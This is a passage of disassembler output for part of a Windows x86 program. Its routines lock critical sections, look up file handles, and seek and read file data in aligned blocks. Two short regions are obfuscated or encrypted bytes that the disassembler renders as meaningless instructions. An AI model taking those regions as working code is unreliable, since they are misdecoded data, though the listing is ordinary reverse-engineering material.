		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_3C]
		jmp	short loc_4D0661
; ---------------------------------------------------------------------------


loc_4D0638:				; CODE XREF: sub_4D0421+7Bj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4D0643
		jmp	short loc_4D065F
sub_4D0421	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D0643	proc near		; CODE XREF: sub_4D0421+21Bp
					; DATA XREF: _5:004DE370o
		mov	eax, ds:dword_4E18E4
		mov	[ebp-34h], eax
		cmp	dword ptr [ebp-34h], 0
		jz	short locret_4D065E
		mov	eax, [ebp-34h]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection

locret_4D065E:				; CODE XREF: sub_4D0643+Cj
		retn
sub_4D0643	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D0421


loc_4D065F:				; CODE XREF: sub_4D0421+5Cj
					; sub_4D0421+220j
		xor	eax, eax


loc_4D0661:				; CODE XREF: sub_4D0421+C5j
					; sub_4D0421+215j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_4D0421

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D0672	proc near		; CODE XREF: sub_4D1CC4+80p
					; sub_4D5456+58p ...

var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004D072E SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE378
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_4E18E4
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_4D06B8
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	[ebp+var_24], 1
		jmp	short loc_4D06BC
; ---------------------------------------------------------------------------


loc_4D06B8:				; CODE XREF: sub_4D0672+31j
		and	[ebp+var_24], 0


loc_4D06BC:				; CODE XREF: sub_4D0672+44j
		movzx	eax, [ebp+var_24]
		test	eax, eax
		jz	short loc_4D072E
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4E18E4
		call	sub_4DB871
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_4D0707
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+8]
		mov	[ecx], eax
		push	0FFFFFFFFh
		mov	[ebp+var_2C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_2C]
		jmp	short loc_4D0730
; ---------------------------------------------------------------------------


loc_4D0707:				; CODE XREF: sub_4D0672+6Bj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4D0712
		jmp	short loc_4D072E
sub_4D0672	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D0712	proc near		; CODE XREF: sub_4D0672+99p
					; DATA XREF: _5:004DE380o
		mov	eax, ds:dword_4E18E4
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 0
		jz	short locret_4D072D
		mov	eax, [ebp-28h]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection

locret_4D072D:				; CODE XREF: sub_4D0712+Cj
		retn
sub_4D0712	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D0672


loc_4D072E:				; CODE XREF: sub_4D0672+50j
					; sub_4D0672+9Ej
		xor	eax, eax


loc_4D0730:				; CODE XREF: sub_4D0672+93j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_4D0672

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D0741	proc near		; CODE XREF: sub_4CC3F3+58p
					; sub_4CF12B+22p ...

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE388
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0
		jnz	short loc_4D0772
		lea	eax, [ebp+var_1C]
		mov	[ebp+arg_4], eax


loc_4D0772:				; CODE XREF: sub_4D0741+29j
		mov	eax, ds:dword_4E18E4
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	short loc_4D0793
		mov	eax, [ebp+var_28]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	[ebp+var_2C], 1
		jmp	short loc_4D0797
; ---------------------------------------------------------------------------


loc_4D0793:				; CODE XREF: sub_4D0741+3Dj
		and	[ebp+var_2C], 0


loc_4D0797:				; CODE XREF: sub_4D0741+50j
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jz	loc_4D0845
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4E18E4
		call	sub_4DB871
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_4D0809
		mov	eax, [ebp+var_20]
		push	dword ptr [eax+8]
		call	ds:dword_4E16A4	; CloseHandle
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4E18E4
		call	sub_4DB8E0
		mov	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_4D83DD
		pop	ecx
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 1
		push	0FFFFFFFFh
		mov	[ebp+var_34], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_34]
		jmp	short loc_4D0847
; ---------------------------------------------------------------------------


loc_4D0809:				; CODE XREF: sub_4D0741+7Bj
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4CF818
		push	0FFFFFFFFh
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_38]
		jmp	short loc_4D0847
; ---------------------------------------------------------------------------


loc_4D0829:				; DATA XREF: _5:004DE390o
		mov	eax, ds:dword_4E18E4
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0
		jz	short locret_4D0844
		mov	eax, [ebp+var_30]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection

locret_4D0844:				; CODE XREF: sub_4D0741+F4j
		retn
; ---------------------------------------------------------------------------


loc_4D0845:				; CODE XREF: sub_4D0741+5Cj
		xor	eax, eax


loc_4D0847:				; CODE XREF: sub_4D0741+C6j
					; sub_4D0741+E6j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4D0741	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D0858	proc near		; CODE XREF: sub_4DA710+12p

var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 004D093D SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE398
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_8], 0
		jnz	short loc_4D0889
		lea	eax, [ebp+var_1C]
		mov	[ebp+arg_8], eax


loc_4D0889:				; CODE XREF: sub_4D0858+29j
		mov	eax, ds:dword_4E18E4
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_4D08AA
		mov	eax, [ebp+var_24]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	[ebp+var_28], 1
		jmp	short loc_4D08AE
; ---------------------------------------------------------------------------


loc_4D08AA:				; CODE XREF: sub_4D0858+3Dj
		and	[ebp+var_28], 0


loc_4D08AE:				; CODE XREF: sub_4D0858+50j
		movzx	eax, [ebp+var_28]
		test	eax, eax
		jz	loc_4D093D
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4E18E4
		call	sub_4DB871
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_4D0916
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E16FC	; GetFileInformationByHandle
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax+20h], 0
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+8]
		mov	[ecx+24h], eax
		push	0FFFFFFFFh
		mov	[ebp+var_30], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_30]
		jmp	short loc_4D093F
; ---------------------------------------------------------------------------


loc_4D0916:				; CODE XREF: sub_4D0858+7Bj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4D0921
		jmp	short loc_4D093D
sub_4D0858	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D0921	proc near		; CODE XREF: sub_4D0858+C2p
					; DATA XREF: _5:004DE3A0o
		mov	eax, ds:dword_4E18E4
		mov	[ebp-2Ch], eax
		cmp	dword ptr [ebp-2Ch], 0
		jz	short locret_4D093C
		mov	eax, [ebp-2Ch]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection

locret_4D093C:				; CODE XREF: sub_4D0921+Cj
		retn
sub_4D0921	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D0858


loc_4D093D:				; CODE XREF: sub_4D0858+5Cj
					; sub_4D0858+C7j
		xor	eax, eax


loc_4D093F:				; CODE XREF: sub_4D0858+BCj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_4D0858

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D0950	proc near		; CODE XREF: sub_4DA741+Bp
					; sub_4DA77D+Bp

var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004D09FD SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE3A8
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_4E18E4
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_4D0996
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	[ebp+var_24], 1
		jmp	short loc_4D099A
; ---------------------------------------------------------------------------


loc_4D0996:				; CODE XREF: sub_4D0950+31j
		and	[ebp+var_24], 0


loc_4D099A:				; CODE XREF: sub_4D0950+44j
		movzx	eax, [ebp+var_24]
		test	eax, eax
		jz	short loc_4D09FD
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4E18E4
		call	sub_4DB871
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_4D09D6
		push	0FFFFFFFFh
		mov	[ebp+var_2C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_2C]
		jmp	short loc_4D09FF
; ---------------------------------------------------------------------------


loc_4D09D6:				; CODE XREF: sub_4D0950+6Bj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4D09E1
		jmp	short loc_4D09FD
sub_4D0950	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D09E1	proc near		; CODE XREF: sub_4D0950+8Ap
					; DATA XREF: _5:004DE3B0o
		mov	eax, ds:dword_4E18E4
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 0
		jz	short locret_4D09FC
		mov	eax, [ebp-28h]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection

locret_4D09FC:				; CODE XREF: sub_4D09E1+Cj
		retn
sub_4D09E1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D0950


loc_4D09FD:				; CODE XREF: sub_4D0950+50j
					; sub_4D0950+8Fj
		xor	eax, eax


loc_4D09FF:				; CODE XREF: sub_4D0950+84j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; END OF FUNCTION CHUNK	FOR sub_4D0950
; ---------------------------------------------------------------------------


loc_4D0A10:				; CODE XREF: sub_4D0C5C+2F1p
					; sub_4D1177+1CFp
		push	ebp
		mov	ebp, esp
		sub	esp, 0ECh
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+0Ch]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp+10h]
		mov	[ebp-10h], eax
		mov	eax, ds:dword_4E18F8
		mov	[ebp-4], eax
		mov	eax, [ebp+8]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-8], eax
		mov	eax, [ebp-8]
		mov	eax, [eax+0Ch]
		and	eax, 30h
		cmp	eax, 30h
		jnz	loc_4D0AD8
		mov	eax, [ebp-8]
		mov	eax, [eax+0Ch]
		and	eax, 2
		test	eax, eax
		jnz	short loc_4D0AD8
		mov	eax, [ebp-8]
		mov	ecx, [ebp+0Ch]
		sub	ecx, [eax+4]
		mov	[ebp-14h], ecx
		mov	eax, [ebp-14h]
		xor	edx, edx
		push	8
		pop	ecx
		div	ecx
		mov	[ebp-18h], edx
		cmp	dword ptr [ebp-18h], 0
		jz	short loc_4D0A93
		mov	eax, [ebp+0Ch]
		sub	eax, [ebp-18h]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-10h]
		add	eax, [ebp-18h]
		mov	[ebp-10h], eax
		mov	eax, [ebp-4]
		add	eax, [ebp-18h]
		mov	[ebp-4], eax


loc_4D0A93:				; CODE XREF: _4:004D0A76j
		mov	eax, [ebp-10h]
		xor	edx, edx
		push	8
		pop	ecx
		div	ecx
		test	edx, edx
		jz	short loc_4D0AB8
		mov	eax, [ebp-10h]
		xor	edx, edx
		push	8
		pop	ecx
		div	ecx
		push	8
		pop	eax
		sub	eax, edx
		mov	ecx, [ebp-10h]
		add	ecx, eax
		mov	[ebp-10h], ecx


loc_4D0AB8:				; CODE XREF: _4:004D0A9Fj
		mov	eax, [ebp+8]
		mov	ecx, [ebp-10h]
		add	ecx, [eax+4]
		mov	eax, [ebp-8]
		cmp	ecx, [eax+8]
		jbe	short loc_4D0AD8
		mov	eax, [ebp-8]
		mov	ecx, [ebp+8]
		mov	eax, [eax+8]
		sub	eax, [ecx+4]
		mov	[ebp-10h], eax


loc_4D0AD8:				; CODE XREF: _4:004D0A46j _4:004D0A57j ...
		push	0
		push	0
		push	dword ptr [ebp-0Ch]
		mov	eax, [ebp+8]
		push	dword ptr [eax+8]
		call	ds:dword_4E1788	; SetFilePointer
		cmp	eax, [ebp-0Ch]
		jz	short loc_4D0AF7
		xor	eax, eax
		jmp	loc_4D0C55
; ---------------------------------------------------------------------------


loc_4D0AF7:				; CODE XREF: _4:004D0AEEj
		push	0
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp-10h]
		push	ds:dword_4E18F8
		mov	eax, [ebp+8]
		push	dword ptr [eax+8]
		call	ds:dword_4E177C	; ReadFile
		test	eax, eax
		jnz	short loc_4D0B1C
		xor	eax, eax
		jmp	loc_4D0C55
; ---------------------------------------------------------------------------


loc_4D0B1C:				; CODE XREF: _4:004D0B13j
		mov	eax, [ebp+14h]
		mov	eax, [eax]
		cmp	eax, [ebp-10h]
		jz	short loc_4D0B2D
		xor	eax, eax
		jmp	loc_4D0C55
; ---------------------------------------------------------------------------


loc_4D0B2D:				; CODE XREF: _4:004D0B24j
		mov	eax, [ebp-8]
		mov	eax, [eax+0Ch]
		and	eax, 1
		test	eax, eax
		jz	loc_4D0C3C
		mov	eax, [ebp-8]
		mov	eax, [eax+0Ch]
		and	eax, 30h
		cmp	eax, 10h
		jnz	short loc_4D0BA9
		push	offset dword_460000
		call	sub_4CDB7E	; CODE XREF: _4:004D0B5Bj
		sub	eax, 7424E45Ah
		db	3Eh
		jle	short near ptr loc_4D0B51+3
		cmpsb
		push	edi
		fisttp	dword ptr [edx+esi*4+61h]
		clc
		lds	ebp, [ecx-26h]
		db	2Eh		; CODE XREF: _4:loc_4D0B99j
		icebp
		and	eax, 7EFC9E45h
		dec	edi
		jmp	short loc_4D0B99
; ---------------------------------------------------------------------------
		dw 4521h
		dd 72A5F15Eh, 0DB928439h, 0E0C5324Fh, 48F284DAh, 0C220AB13h
		dd 6D611A5Fh, 0A31D6C36h, 90A16E44h, 0E2FDF0E3h
; ---------------------------------------------------------------------------
		cmc


loc_4D0B99:				; CODE XREF: _4:004D0B70j
		jmp	short near ptr loc_4D0B68+1
; ---------------------------------------------------------------------------
		db 0C1h
		db 2 dup(90h)
		dw 0C033h
		dd 0EE75C085h, 93E9h
		db 0
; ---------------------------------------------------------------------------


loc_4D0BA9:				; CODE XREF: _4:004D0B4Aj
		mov	eax, [ebp-8]
		mov	eax, [eax+0Ch]
		and	eax, 30h
		cmp	eax, 30h
		jnz	short loc_4D0C32
		push	120000h
		call	sub_4CDB7E
		mov	esp, 0E59375A9h
		lodsd
		punpckhwd mm7, mm4
		mov	bl, 0AEh
		xchg	eax, edx
		enter	493Dh, 20h
		add	esi, esi
		xchg	dh, [ebx-683002FDh]
		adc	[edi-1471F021h], ebx
		mov	dl, 34h
; ---------------------------------------------------------------------------
		db 8Ch,	0F5h, 65h
		dd 975D2033h, 0B1BE20AAh, 97A380A4h, 9FC19C8Fh,	2DDFCC3h
		dd 0E1EECB75h, 9276A8BBh, 680CACDAh, 31B9E518h,	0ED0915C7h
		dd 0DA20F7ABh, 0DB497237h, 758264EEh, 9E554C68h, 0DE8DD8CBh
		dd 0CE190CFFh, 0A5B28F65h, 0C0339090h, 0EE75C085h
; ---------------------------------------------------------------------------
		jmp	short loc_4D0C3C
; ---------------------------------------------------------------------------


loc_4D0C32:				; CODE XREF: _4:004D0BB5j
		mov	ecx, 0EF000014h
		call	sub_4D8342


loc_4D0C3C:				; CODE XREF: _4:004D0B38j _4:004D0C30j
		mov	eax, [ebp+14h]
		mov	eax, [eax]
		cmp	eax, [ebp+10h]
		jnb	short loc_4D0C4A
		xor	eax, eax
		jmp	short loc_4D0C55
; ---------------------------------------------------------------------------


loc_4D0C4A:				; CODE XREF: _4:004D0C44j
		mov	eax, [ebp+14h]
		mov	ecx, [ebp+10h]
		mov	[eax], ecx
		mov	eax, [ebp-4]


loc_4D0C55:				; CODE XREF: _4:004D0AF2j _4:004D0B17j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D0C5C	proc near		; CODE XREF: sub_4D100B+30p
					; sub_4D100B+EBp

var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004D0EAD SIZE 0000015E BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE3B8
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 68h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_34], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, ds:dword_4E1908
		mov	eax, [eax]
		sub	eax, [ecx+8]
		sar	eax, 4
		mov	[ebp+var_24], eax
		and	[ebp+var_28], 0
		and	[ebp+var_40], 0
		jmp	short loc_4D0CB0
; ---------------------------------------------------------------------------


loc_4D0CA9:				; CODE XREF: sub_4D0C5C:loc_4D0CEDj
		mov	eax, [ebp+var_40]
		inc	eax
		mov	[ebp+var_40], eax


loc_4D0CB0:				; CODE XREF: sub_4D0C5C+4Bj
		cmp	[ebp+var_40], 3
		jnb	short loc_4D0CEF
		mov	eax, [ebp+var_40]
		imul	eax, 18h
		mov	ecx, [ebp+arg_0]
		mov	eax, ds:dword_4E0B7C[eax]
		cmp	eax, [ecx]
		jnz	short loc_4D0CED
		mov	eax, [ebp+var_40]
		imul	eax, 18h
		mov	eax, ds:dword_4E0B78[eax]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_4D0CED
		mov	eax, [ebp+var_40]
		imul	eax, 18h
		mov	eax, ds:off_4E0B80[eax]
		mov	eax, [eax]
		jmp	loc_4D0FFA
; ---------------------------------------------------------------------------


loc_4D0CED:				; CODE XREF: sub_4D0C5C+6Bj
					; sub_4D0C5C+7Cj
		jmp	short loc_4D0CA9
; ---------------------------------------------------------------------------


loc_4D0CEF:				; CODE XREF: sub_4D0C5C+58j
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:dword_4E172C	; GetSystemTimeAsFileTime
		and	[ebp+var_4C], 0
		jmp	short loc_4D0D06
; ---------------------------------------------------------------------------


loc_4D0CFF:				; CODE XREF: sub_4D0C5C:loc_4D0D4Dj
		mov	eax, [ebp+var_4C]
		inc	eax
		mov	[ebp+var_4C], eax


loc_4D0D06:				; CODE XREF: sub_4D0C5C+A1j
		cmp	[ebp+var_4C], 3
		jnb	short loc_4D0D4F
		mov	eax, [ebp+var_4C]
		imul	eax, 18h
		add	eax, offset dword_4E0B70
		mov	[ebp+var_74], eax
		mov	eax, [ebp+var_74]
		mov	ecx, [ebp+var_44]
		cmp	ecx, [eax+4]
		jl	short loc_4D0D4D
		jg	short loc_4D0D31
		mov	eax, [ebp+var_74]
		mov	ecx, [ebp+var_48]
		cmp	ecx, [eax]
		jbe	short loc_4D0D4D


loc_4D0D31:				; CODE XREF: sub_4D0C5C+C9j
		mov	eax, [ebp+var_4C]
		imul	eax, 18h
		add	eax, offset dword_4E0B70
		mov	ecx, [eax]
		mov	[ebp+var_48], ecx
		mov	eax, [eax+4]
		mov	[ebp+var_44], eax
		mov	eax, [ebp+var_4C]
		mov	[ebp+var_28], eax


loc_4D0D4D:				; CODE XREF: sub_4D0C5C+C7j
					; sub_4D0C5C+D3j
		jmp	short loc_4D0CFF
; ---------------------------------------------------------------------------


loc_4D0D4F:				; CODE XREF: sub_4D0C5C+AEj
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		and	ds:dword_4E0B78[eax], 0
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		and	ds:dword_4E0B7C[eax], 0
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		add	eax, offset dword_4E0B70
		and	dword ptr [eax], 0
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	eax, ds:off_4E0B80[eax]
		mov	eax, [eax]
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_24]
		shl	eax, 4
		mov	ecx, ds:dword_4E1908
		mov	ecx, [ecx+8]
		cmp	dword ptr [ecx+eax+8], 0
		jnz	loc_4D0EAD
		mov	eax, [ebp+var_34]
		mov	eax, [eax+8]
		add	eax, 0FFFFh
		shr	eax, 10h
		mov	[ebp+var_54], eax
		and	[ebp+var_50], 0
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_54]
		shl	eax, 2
		push	eax
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_6C], eax
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_50], eax
		and	[ebp+var_58], 0
		mov	eax, [ebp+var_54]
		shl	eax, 2
		mov	ecx, [ebp+var_34]
		mov	ecx, [ecx+4]
		sub	ecx, eax
		mov	[ebp+var_5C], ecx
		push	0
		push	0
		push	[ebp+var_5C]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		call	ds:dword_4E1788	; SetFilePointer
		cmp	eax, [ebp+var_5C]
		jz	short loc_4D0E1B
		push	0FFFFFFFFh
		and	[ebp+var_78], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_78]
		jmp	loc_4D0FFA
; ---------------------------------------------------------------------------


loc_4D0E1B:				; CODE XREF: sub_4D0C5C+1A4j
		push	0
		lea	eax, [ebp+var_58]
		push	eax
		mov	eax, [ebp+var_54]
		shl	eax, 2
		push	eax
		push	[ebp+var_50]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		call	ds:dword_4E177C	; ReadFile
		test	eax, eax
		jnz	short loc_4D0E54
		push	0FFFFFFFFh
		and	[ebp+var_7C], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_7C]
		jmp	loc_4D0FFA
; ---------------------------------------------------------------------------


loc_4D0E54:				; CODE XREF: sub_4D0C5C+1DDj
		mov	eax, [ebp+var_54]
		shl	eax, 2
		cmp	[ebp+var_58], eax
		jz	short loc_4D0E78
		push	0FFFFFFFFh
		and	[ebp+var_80], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_80]
		jmp	loc_4D0FFA
; ---------------------------------------------------------------------------


loc_4D0E78:				; CODE XREF: sub_4D0C5C+201j
		mov	eax, [ebp+var_24]
		shl	eax, 4
		mov	ecx, ds:dword_4E1908
		mov	ecx, [ecx+8]
		mov	edx, [ebp+var_50]
		mov	[ecx+eax+8], edx
		and	[ebp+var_50], 0
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4D0E9D
		jmp	short loc_4D0EAD
sub_4D0C5C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4D0E9D	proc near		; CODE XREF: sub_4D0C5C+23Ap
					; DATA XREF: _5:004DE3C0o
		mov	eax, [ebp-50h]
		mov	[ebp-70h], eax
		push	dword ptr [ebp-70h]
		call	sub_4D83DD
		pop	ecx
		retn
sub_4D0E9D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D0C5C


loc_4D0EAD:				; CODE XREF: sub_4D0C5C+144j
					; sub_4D0C5C+23Fj
		mov	eax, [ebp+var_24]
		shl	eax, 4
		mov	ecx, ds:dword_4E1908
		mov	ecx, [ecx+8]
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_30], eax
		and	[ebp+var_20], 0
		and	[ebp+var_1C], 0
		cmp	[ebp+arg_4], 0
		jz	short loc_4D0F2D
		mov	eax, [ebp+var_34]
		mov	eax, [eax+8]
		add	eax, 0FFFFh
		shr	eax, 10h
		mov	[ebp+var_60], eax
		mov	eax, [ebp+arg_4]
		cmp	eax, [ebp+var_60]
		jb	short loc_4D0F00
		push	ds:off_4DE4F8
		push	93h
		push	ds:off_4DE4FC
		call	sub_4D848C


loc_4D0F00:				; CODE XREF: sub_4D0C5C+28Cj
		and	[ebp+var_64], 0
		jmp	short loc_4D0F0D
; ---------------------------------------------------------------------------


loc_4D0F06:				; CODE XREF: sub_4D0C5C+2CFj
		mov	eax, [ebp+var_64]
		inc	eax
		mov	[ebp+var_64], eax


